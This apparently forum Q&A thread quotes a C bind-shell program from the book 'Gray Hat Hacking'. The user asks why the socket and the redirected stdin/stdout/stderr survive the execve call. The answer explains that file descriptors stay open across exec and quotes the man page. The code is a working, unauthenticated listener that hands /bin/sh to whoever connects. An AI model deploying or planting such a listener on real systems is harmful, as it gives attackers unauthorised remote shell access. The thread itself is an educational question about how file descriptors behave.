So I've got this code from Gray Hat Hacking: The Ethical Hacker’s Handbook, Fourth Edition :
#include<sys/socket.h> // libraries used to make a socket
#include<netinet/in.h> // defines the sockaddr structure
int main(){
char * shell[2]; // prep for execve call
int server,client; // file descriptor handles
struct sockaddr_in serv_addr; // structure to hold IP/port vals
server=socket(2,1,0); // build a local IP socket of type stream
serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
serv_addr.sin_family=2; // set native protocol family: IP
bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
listen(server,0); // enter listen state, wait for connect
client=accept(server,0,0);// when connect, return client handle
/*connect client pipes to stdin,stdout,stderr */
dup2(client,0); // connect stdin to client
dup2(client,1); // connect stdout to client
dup2(client,2); // connect stderr to client
shell[0]="/bin/sh"; // first argument to execve
shell[1]=0; // terminate array with null
execve(shell[0],shell,0); // pop a shell
}
According to execve man page:
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
So shouldn't the return value of socket()
, which -if I understood it well-, is a file descriptor, be overwritten?
And shouldn't redirection of file descriptors stdin
, stdout
and stderr
be reset to default values?
If so, how could this program work?
I probably missunderstood something in about the execve()
function, or about file descriptors. Or maybe I totaly missunderstood socket()
function.
Aren't file descriptors stored either into the stack, either into bss section?
File descriptors are not closed when a new program is executed via one of the exec
functions. If they were, there would be no way to attach stdin / stdout / stderr in a terminal to the proper places.
You missed the following paragraph:
By default, file descriptors remain open across an
execve()
. File descriptors that are marked close-on-exec are closed; see the description ofFD_CLOEXEC
infcntl(2)
. (If a file descriptor is closed, this will cause the release of all record locks obtained on the underlying file by this process. Seefcntl(2)
for details.) POSIX.1 says that if file descriptors 0, 1, and 2 would otherwise be closed after a successfulexecve()
, and the process would gain privilege because the set-user_ID or set-group_ID mode bit was set on the executed file, then the system may open an unspecified file for each of these file descriptors. As a general principle, no portable program, whether privileged or not, can assume that these three file descriptors will remain closed across anexecve()
.